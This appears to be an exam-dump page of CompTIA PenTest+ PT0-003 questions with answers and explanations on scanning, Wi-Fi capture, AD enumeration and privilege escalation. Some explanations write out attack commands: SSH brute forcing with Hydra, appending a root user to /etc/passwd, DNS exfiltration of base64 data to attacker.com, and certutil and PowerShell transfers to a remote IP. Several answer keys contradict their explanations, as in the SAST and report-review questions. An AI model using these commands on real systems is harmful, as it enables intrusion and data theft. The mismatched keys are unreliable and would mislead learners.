Pass CompTIA PT0-003 Exam in First Attempt Guaranteed [Jan-2026]
Exam Sure Pass CompTIA Certification with PT0-003 exam questions
CompTIA PT0-003 Exam Syllabus Topics:
| Topic | Details |
|---|---|
| Topic 1 |
|
| Topic 2 |
|
| Topic 3 |
|
| Topic 4 |
|
| Topic 5 |
|
NEW QUESTION # 72
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
Explanation:
A computer screen shot of a computer Description automatically generated
A screen shot of a computer Description automatically generated
A computer screen with white text Description automatically generated
An orange screen with white text Description automatically generated
NEW QUESTION # 73
A penetration testing team wants to conduct DNS lookups for a set of targets provided by the client. The team crafts a Bash script for this task. However, they find a minor error in one line of the script:
1 #!/bin/bash
2 for i in $(cat example.txt); do
3 curl $i
4 done
Which of the following changes should the team make to line 3 of the script?
- A. systemd-resolve $i
- B. host $i
- C. rndc $i
- D. resolvconf $i
Answer: B
Explanation:
* Script Analysis:
* Line 1: #!/bin/bash - This line specifies the script should be executed in the Bash shell.
* Line 2: for i in $(cat example.txt); do - This line starts a loop that reads each line from the file example.txt and assigns it to the variable i.
* Line 3: curl $i - This line attempts to fetch the content from the URL stored in i using curl.
However, for DNS lookups, curl is inappropriate.
* Line 4: done - This line ends the loop.
* Error Identification:
* The curl command is used for transferring data from or to a server, often used for HTTP requests, which is not suitable for DNS lookups.
* Correct Command:
* To perform DNS lookups, the host command should be used. The host command performs DNS lookups and displays information about the given domain.
* Corrected Script:
* Replace curl $i with host $i to perform DNS lookups on each target specified in example.txt.
Pentest References:
* In penetration testing, DNS enumeration is a crucial step. It involves querying DNS servers to gather information about the target domain, which includes resolving domain names to IP addresses and vice versa.
* Common tools for DNS enumeration include host, dig, and nslookup. The host command is particularly straightforward for simple DNS lookups.
By correcting the script to use host $i, the penetration testing team can effectively perform DNS lookups on the targets specified in example.txt.
NEW QUESTION # 74
Which of the following assessment methods is the most likely to cause harm to an ICS environment?
- A. Packet analysis
- B. Ping sweep
- C. Active scanning
- D. Protocol reversing
Answer: C
Explanation:
Active scanning is the process of sending probes or packets to a target system or network and analyzing the responses to gather information or identify vulnerabilities. Active scanning can be intrusive and disruptive, especially in an ICS environment, where availability and reliability are critical. Active scanning can cause unintended consequences, such as triggering alarms, shutting down devices, or affecting physical processes.
Therefore, active scanning is the most likely to cause harm to an ICS environment among the given options.
References:
*The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 2: Conducting Passive Reconnaissance, page 72-73.
*The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook1, Chapter 2: Conducting Passive Reconnaissance, page 2-20.
*Risk Assessment Standards for ICS Environments2, page 8.
NEW QUESTION # 75
A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:
Have a full TCP connection
Send a "hello" payload
Walt for a response
Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?
- A. Run nmap -Pn -sV -script vuln <IP address>.
- B. Perform a credentialed scan with Nessus.
- C. Employ an OpenVAS simple scan against the TCP port of the host.
- D. Create a script in the Lua language and use it with NSE.
Answer: D
Explanation:
The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language ) to automate a wide variety of networking tasks. https://nmap.org Creating a script in the Lua language and using it with NSE would best support the objective of finding a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. NSE (Nmap Scripting Engine) is a feature of Nmap that allows users to write and run scripts to automate tasks or perform advanced scans. Lua is a scripting language that NSE supports and can be used to create custom scripts for Nmap.
NEW QUESTION # 76
An executive needs to use Wi-Fi to connect to the company's server while traveling. While looking for available Wi-Fi connections, the executive notices an available access point to a hotel chain that is not available where the executive is staying. Which of the following attacks is the executive most likely experiencing?
- A. Amplification
- B. Data modification
- C. Evil twin
- D. Captive portal
Answer: C
Explanation:
The attacker creates an access point with the same name and network settings as a legitimate access point, but with a stronger signal to attract users. Once a victim connects to the rogue access point, the attacker can intercept and steal any data transmitted over the connection, including login credentials, credit card information, and other sensitive data.
NEW QUESTION # 77
A penetration tester wants to use PowerView in an AD environment. Which of the following is the most likely reason?
- A. To escalate privileges
- B. To decrypt stored passwords
- C. To collect local hashes
- D. To enumerate user groups
Answer: D
Explanation:
PowerView is a PowerShell tool used for Active Directory enumeration. It is part of the PowerSploit framework and allows penetration testers to gather detailed information about the AD environment, including user accounts, groups, computers, shares, and trust relationships.
PowerView is most commonly used to:
Enumerate domain users, groups, and memberships
Identify privileged users and group memberships
Discover domain trusts and permissions
According to the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 8 - Post-Exploitation and Lateral Movement):
"PowerView is a post-exploitation tool used primarily for Active Directory reconnaissance, including user and group enumeration, identifying domain trusts, and mapping out the AD structure." Reference: CompTIA PenTest+ PT0-003 Official Study Guide, Chapter 8
NEW QUESTION # 78
A penetration tester is getting ready to conduct a vulnerability scan as part of the testing process. The tester will evaluate an environment that consists of a container orchestration cluster. Which of the following tools should the tester use to evaluate the cluster?
- A. Grype
- B. Kube-hunter
- C. Trivy
- D. Nessus
Answer: B
Explanation:
Evaluating a container orchestration cluster, such as Kubernetes, requires specialized tools designed to assess the security and configuration of container environments. Here's an analysis of each tool and why Kube- hunter is the best choice:
* Trivy (Option A):
* Explanation: Trivy is a vulnerability scanner for container images and filesystem.
* Capabilities: While effective at scanning container images for vulnerabilities, it is not specifically designed to assess the security of a container orchestration cluster itself.
* Nessus (Option B):
* Explanation: Nessus is a general-purpose vulnerability scanner that can assess network devices, operating systems, and applications.
* Capabilities: It is not tailored for container orchestration environments and may miss specific issues related to Kubernetes or other orchestration systems.
* Grype (Option C):
* Explanation: Grype is a vulnerability scanner for container images.
* Capabilities: Similar to Trivy, it focuses on identifying vulnerabilities in container images rather than assessing the overall security posture of a container orchestration cluster.
* Kube-hunter
* Explanation: Kube-hunter is a tool specifically designed to hunt for security vulnerabilities in Kubernetes clusters.
* Capabilities: It scans the Kubernetes cluster for a wide range of security issues, including misconfigurations and vulnerabilities specific to Kubernetes environments.
* References: Kube-hunter is recognized for its effectiveness in identifying Kubernetes-specific security issues and is widely used in security assessments of container orchestration clusters.
Conclusion: Kube-hunter is the most appropriate tool for evaluating a container orchestration cluster, such as Kubernetes, due to its specialized focus on identifying security vulnerabilities and misconfigurations specific to such environments.
NEW QUESTION # 79
Which of the following expressions in Python increase a variable val by one (Choose two.)
- A. val++
- B. ++val
- C. val+=1
- D. val=(val+1)
- E. val=val++
- F. +val
Answer: C,D
Explanation:
In Python, there are two ways to increase a variable by one: using the assignment operator (=) with an arithmetic expression, or using the augmented assignment operator (+=). The expressions val=(val+1) and val+=1 both achieve this goal. The expressions val++ and ++val are not valid in Python, as there is no increment operator. The expressions +val and val=val++ do not change the value of val2.
https://pythonguides.com/increment-and-decrement-operators-in-python/
NEW QUESTION # 80
A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?
- A. SBOM
- B. SAST
- C. IAST
- D. DAST
Answer: B
Explanation:
kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here's why option B is correct:
* Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.
* Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
* Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.
* Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
References from Pentest:
* Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
* Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.
NEW QUESTION # 81
Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?
- A. The IP address is on the allow list.
- B. The IP address is wrong.
- C. The server is unreachable.
- D. The IP address is on the blocklist.
Answer: D
Explanation:
The most likely explanation for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blocklist. Blocklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blocklist, the scanning process will be blocked.
NEW QUESTION # 82
A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.
Part 1:
. Analyze the output and select the command to exploit the vulnerable service.
Part 2:
. Analyze the output from each command.
Select the appropriate set of commands to escalate privileges.
Identify which remediation steps should be taken.
Answer:
Explanation:
See the Explanation below for complete solution.
Explanation:
The command that would most likely exploit the services is:
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
The appropriate set of commands to escalate privileges is:
echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
The remediations that should be taken after the successful privilege escalation are:
* Remove the SUID bit from cp.
* Make backup script not world-writable.
Comprehensive Step-by-Step Explanation of the Simulation
Part 1: Exploiting Vulnerable Service
* Nmap Scan Analysis
* Command: nmap -sC -T4 192.168.10.2
* Purpose: This command runs a default script scan with timing template 4 (aggressive).
* Output:
bash
Copy code
Port State Service
22/tcp open ssh
23/tcp closed telnet
80/tcp open http
111/tcp closed rpcbind
445/tcp open samba
3389/tcp closed rdp
Ports open are SSH (22), HTTP (80), and Samba (445).
* Enumerating Samba Shares
* Command: enum4linux -S 192.168.10.2
* Purpose: To enumerate Samba shares and users.
* Output:
makefile
Copy code
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x42]
user:[syslog] rid:[0x4ba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
We identify a user lowpriv.
* Selecting Exploit Command
* Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
* Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.
* Explanation:
* -l lowpriv: Specifies the username.
* -P 500-worst-passwords.txt: Specifies the password list.
* -t 4: Uses 4 tasks/threads for the attack.
* ssh://192.168.10.2:22: Specifies the SSH service and port.
* Executing the Hydra Command
* Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation
* Finding SUID Binaries and Configuration Files
* Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l
* Purpose: To find world-writable files.
* Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l
* Purpose: To find files with SUID permission.
* Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
* Purpose: To identify users with bash shell access.
* Selecting Privilege Escalation Command
* Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
* Purpose: To create a new root user entry in the passwd file.
* Explanation:
* root2: Username.
* 5ZOYXRFHVZ7OY: Password hash.
* ::0:0: User and group ID (root).
* /root: Home directory.
* /bin/bash: Default shell.
* Executing the Privilege Escalation Command
* Result: Creation of a new root user root2 with a specified password.
* Remediation Steps Post-Exploitation
* Remove SUID Bit from cp:
* Command: chmod u-s /bin/cp
* Purpose: Removing the SUID bit from cp to prevent misuse.
* Make Backup Script Not World-Writable:
* Command: chmod o-w /path/to/backup/script
* Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.
Execution and Verification
* Verifying Hydra Attack:
* Run the Hydra command and monitor for successful login attempts.
* Verifying Privilege Escalation:
* After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.
* Implementing Remediation:
* Apply the remediation commands to secure the system and verify the changes have been implemented.
By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.
NEW QUESTION # 83
SIMULATION
A penetration tester performs several Nmap scans against the web application for a client.
INSTRUCTIONS
Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
See the explanation part for detailed solution
Explanation:
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
Two best remediation options:
Restrict direct communications to App01.example.com to only approved components.
Require an additional authentication header value between CDN.example.com and App01.example.com.
Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.
NEW QUESTION # 84
After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:
2/10/2023 05:50AM C:\users\mgranite\schtasks /query
2/10/2023 05:53AM C:\users\mgranite\schtasks /CREATE /SC DAILY
Which of the following best explains the team's objective?
- A. To create persistence in the network
- B. To determine the users' permissions
- C. To enumerate current users
- D. To view scheduled processes
Answer: A
Explanation:
The logs indicate that the penetration testing team's objective was to create persistence in the network.
Log Analysis:
schtasks /query: This command lists all the scheduled tasks on the system. It is often used to understand what tasks are currently scheduled and running. schtasks /CREATE /SC DAILY: This command creates a new scheduled task that runs daily. Creating such a task can be used to ensure that a script or program runs regularly, maintaining a foothold in the system.
Persistence:
Definition: Persistence refers to techniques used to maintain access to a compromised system even after reboots or other interruptions.
Scheduled Tasks: One common method of achieving persistence on Windows systems is by creating scheduled tasks that execute malicious payloads or scripts at regular intervals.
NEW QUESTION # 85
A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?
- A. Enable monitoring mode using Aircrack-ng.
- B. Research WiGLE.net for potential nearby client access points.
- C. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
- D. Run KARMA to break the password.
Answer: A
Explanation:
Monitoring Mode:
Definition: Monitoring mode allows a wireless network interface controller to capture all packets on a wireless channel, regardless of the destination.
Importance: This mode is necessary for capturing the four-way handshake required for WPA2 cracking.
Aircrack-ng Suite:
Aircrack-ng: A complete suite of tools to assess Wi-Fi network security. It includes tools for monitoring, attacking, testing, and cracking.
Enabling Monitor Mode: The specific tool used to enable monitor mode in Aircrack-ng is airmon-ng.
airmon-ng start wlan0
This command starts the interface wlan0 in monitoring mode.
Steps to Capture WPA2 Handshakes:
Enable Monitor Mode: Use airmon-ng to enable monitor mode.
Capture Handshakes: Use airodump-ng to capture packets and WPA2 handshakes.
airodump-ng wlan0mon
Pentest Reference:
Wireless Security Assessments: Understanding the importance of monitoring mode for capturing data during wireless penetration tests.
Aircrack-ng Tools: Utilizing the suite effectively for tasks like capturing WPA2 handshakes, deauthenticating clients, and cracking passwords.
By enabling monitoring mode with Aircrack-ng, the tester can capture the necessary WPA2 handshakes to further analyze and attempt to crack the Wi-Fi network's password.
NEW QUESTION # 86
A penetration tester is trying to bypass an active response tool that blocks IP addresses that have more than
100 connections per minute. Which of the following commands would allow the tester to finish the test without being blocked?
- A. nmap -T3 -F 10.0.0.15
- B. nmap -sU -p 1-1024 10.0.0.15
- C. nmap -p 22,25, 80, 3389 -T2 10.0.0.15 -Pn
- D. nmap -T5 -p 1-65535 -A 10.0.0.15
Answer: C
Explanation:
The -T2 flag in Nmap sets the timing template to "polite", which means that Nmap will limit the number of parallel probes to 10 and the scan delay to 0.4 seconds. This will reduce the number of connections per minute and avoid triggering the active response tool. The -Pn flag tells Nmap to skip the host discovery phase and scan the target regardless of its ping response. The other options are not suitable for bypassing the active response tool, as they either scan too many ports (-sU, -T5, -F) or use a faster timing template (-T5, -T3) that will generate more connections per minute. References:
*Nmap Cheat Sheet 2024: All the Commands & Flags - StationX
*Nmap Commands - 17 Basic Commands for Linux Network - phoenixNAP
*NMAP Flag Guide: What They Are, When to Use Them - CBT Nuggets
NEW QUESTION # 87
A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?
- A. Directory brute forcing
- B. URL spidering
- C. Banner grabbing
- D. SSL certificate inspection
Answer: C
Explanation:
Banner grabbing is a technique used to gather information about a service running on an open port, which often includes the version number of the application or server. Here's why banner grabbing is the correct answer:
Banner Grabbing: It involves connecting to a service and reading the welcome banner or response, which typically includes version information. This is a direct method to identify the version number of a web application server.
SSL Certificate Inspection: While it can provide information about the server, it is not reliable for identifying specific application versions.
URL Spidering: This is used for discovering URLs and resources within a web application, not for version identification.
Directory Brute Forcing: This is used to discover hidden directories and files, not for identifying version information.
Reference from Pentest:
Luke HTB: Shows how banner grabbing can be used to identify the versions of services running on a server.
Writeup HTB: Demonstrates the importance of gathering version information through techniques like banner grabbing during enumeration phases.
Conclusion:
Option C, banner grabbing, is the most appropriate technique for confirming the version number of a web application server.
NEW QUESTION # 88
During an assessment, a penetration tester obtains an NTLM hash from a legacy Windows machine. Which of the following tools should the penetration tester use to continue the attack?
- A. Responder
- B. Hydra
- C. BloodHound
- D. CrackMapExec
Answer: D
Explanation:
When a penetration tester obtains an NTLM hash from a legacy Windows machine, they need to use a tool that can leverage this hash for further attacks, such as pass-the-hash attacks, or for cracking the hash. Here's a breakdown of the options:
Option A: Responder
Responder is primarily used for poisoning LLMNR, NBT-NS, and MDNS to capture hashes, but not for leveraging NTLM hashes obtained post-exploitation.
Option B: Hydra
Hydra is a password-cracking tool but not specifically designed for NTLM hashes or pass-the-hash attacks.
Option C: BloodHound
BloodHound is used for mapping out Active Directory relationships and identifying potential attack paths but not for using NTLM hashes directly.
Option D: CrackMapExec
CrackMapExec is a versatile tool that can perform pass-the-hash attacks, execute commands, and more using NTLM hashes. It is designed for post-exploitation scenarios involving NTLM hashes.
Reference from Pentest:
Forge HTB: Demonstrates the use of CrackMapExec for leveraging NTLM hashes to gain further access within a network.
Horizontall HTB: Shows how CrackMapExec can be used for various post-exploitation activities, including using NTLM hashes to authenticate and execute commands.
Conclusion:
Option D, CrackMapExec, is the most suitable tool for continuing the attack using an NTLM hash. It supports pass-the-hash techniques and other operations that can leverage NTLM hashes effectively.
NEW QUESTION # 89
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
- A. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- B. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- C. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- D. wget http://192.168.2.124/windows-binaries/accesschk64.exe-Oaccesschk64.exe
Answer: C
Explanation:
https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-whi
--- https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
The
certutil command is a Windows utility that can be used to manipulate certificates and certificate authorities.
However, it can also be abused by attackers to download files from remote servers using the -urlcache option. In this case, the command downloads accesschk64.exe from http://192.168.2.124/windows-binaries/ and saves it locally. Accesschk64.exe is a tool that can be used to check service permissions and identify potential privilege escalation vectors. The other commands are not relevant for this purpose. Powershell is a scripting language that can be used to perform various tasks, but in this case it uploads a file instead of downloading one. Schtasks is a command that can be used to create or query scheduled tasks, but it does not help with service permissions. Wget is a Linux command that can be used to download files from the web, but it does not work on Windows by default.
NEW QUESTION # 90
A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?
- A. Validate API security settings before deployment.
- B. Add a dependency checker into the tool chain.
- C. Perform routine static and dynamic analysis of committed code.
- D. Perform fuzz testing of compiled binaries.
Answer: B
Explanation:
Adding a dependency checker into the tool chain is the best recommendation for the company that has been including vulnerable third-party modules in multiple products. A dependency checker is a tool that analyzes the dependencies of a software project and identifies any known vulnerabilities or outdated versions. This can help the developers to update or replace the vulnerable modules before deploying the products.
NEW QUESTION # 91
A penetration tester has discovered sensitive files on a system. Assuming exfiltration of the files is part of the scope of the test, which of the following is most likely to evade DLP systems?
- A. Obfuscating the data and pushing through FTP to the tester's controlled server.
- B. Encoding the data and pushing through DNS to the tester's controlled server.
- C. Padding the data and uploading the files through an external cloud storage service.
- D. Hashing the data and emailing the files to the tester's company inbox.
Answer: B
Explanation:
DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.
Encoding the data and exfiltrating through DNS (Option A):
DNS is often overlooked by DLP systems because it is required for network functionality.
Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.
Example method
echo "Sensitive Data" | base64 | nslookup -q=TXT attacker.com
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Data Exfiltration Techniques" Incorrect options:
Option B (Cloud storage): Many organizations monitor file uploads to cloud storage.
Option C (FTP): FTP is easily monitored and flagged by DLP solutions.
Option D (Hashing and emailing): Emails are actively scanned by DLP policies.
NEW QUESTION # 92
Which of the following frameworks can be used to classify threats?
- A. PTES
- B. OCTAVE
- C. STRIDE
- D. OSSTMM
Answer: C
Explanation:
STRIDE is a threat classification model created by Microsoft that breaks down threats into six categories:
Spoofing
Tampering
Repudiation
Information disclosure
Denial of Service
Elevation of privilege
It is specifically designed for threat modeling.
PTES is a general pentesting methodology.
OSSTMM is a framework for operational security testing.
OCTAVE is a risk assessment methodology, not focused on threat classification.
Reference: PT0-003 Objective 3.1 - Understand and apply threat modeling methodologies like STRIDE.
NEW QUESTION # 93
A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?
- A. A cybersecurity industry peer
- B. A team member
- C. A generative AI assistant
- D. The customer's designated contact
Answer: D
Explanation:
Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member. Here's why:
* Internal Peer Review:
* Familiarity with the Project: A team member who worked on the project or is familiar with the methodologies used can provide a detailed and context-aware review.
* Quality Assurance: This review helps catch any errors, omissions, or inconsistencies in the report before it reaches the client.
* Alternative Review Options:
* A Generative AI Assistant: While useful for drafting and checking for language issues, it may not fully understand the context and technical details of the penetration test.
* The Customer's Designated Contact: Typically, the client reviews the report after the internal review to provide their perspective and request clarifications or additional details.
* A Cybersecurity Industry Peer: Although valuable, this option might not be practical due to confidentiality concerns and the peer's lack of specific context regarding the engagement.
In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.
NEW QUESTION # 94
......
Real CompTIA PT0-003 Exam Questions Study Guide: https://examsforall.actual4dump.com/CompTIA/PT0-003-actualtests-dumps.html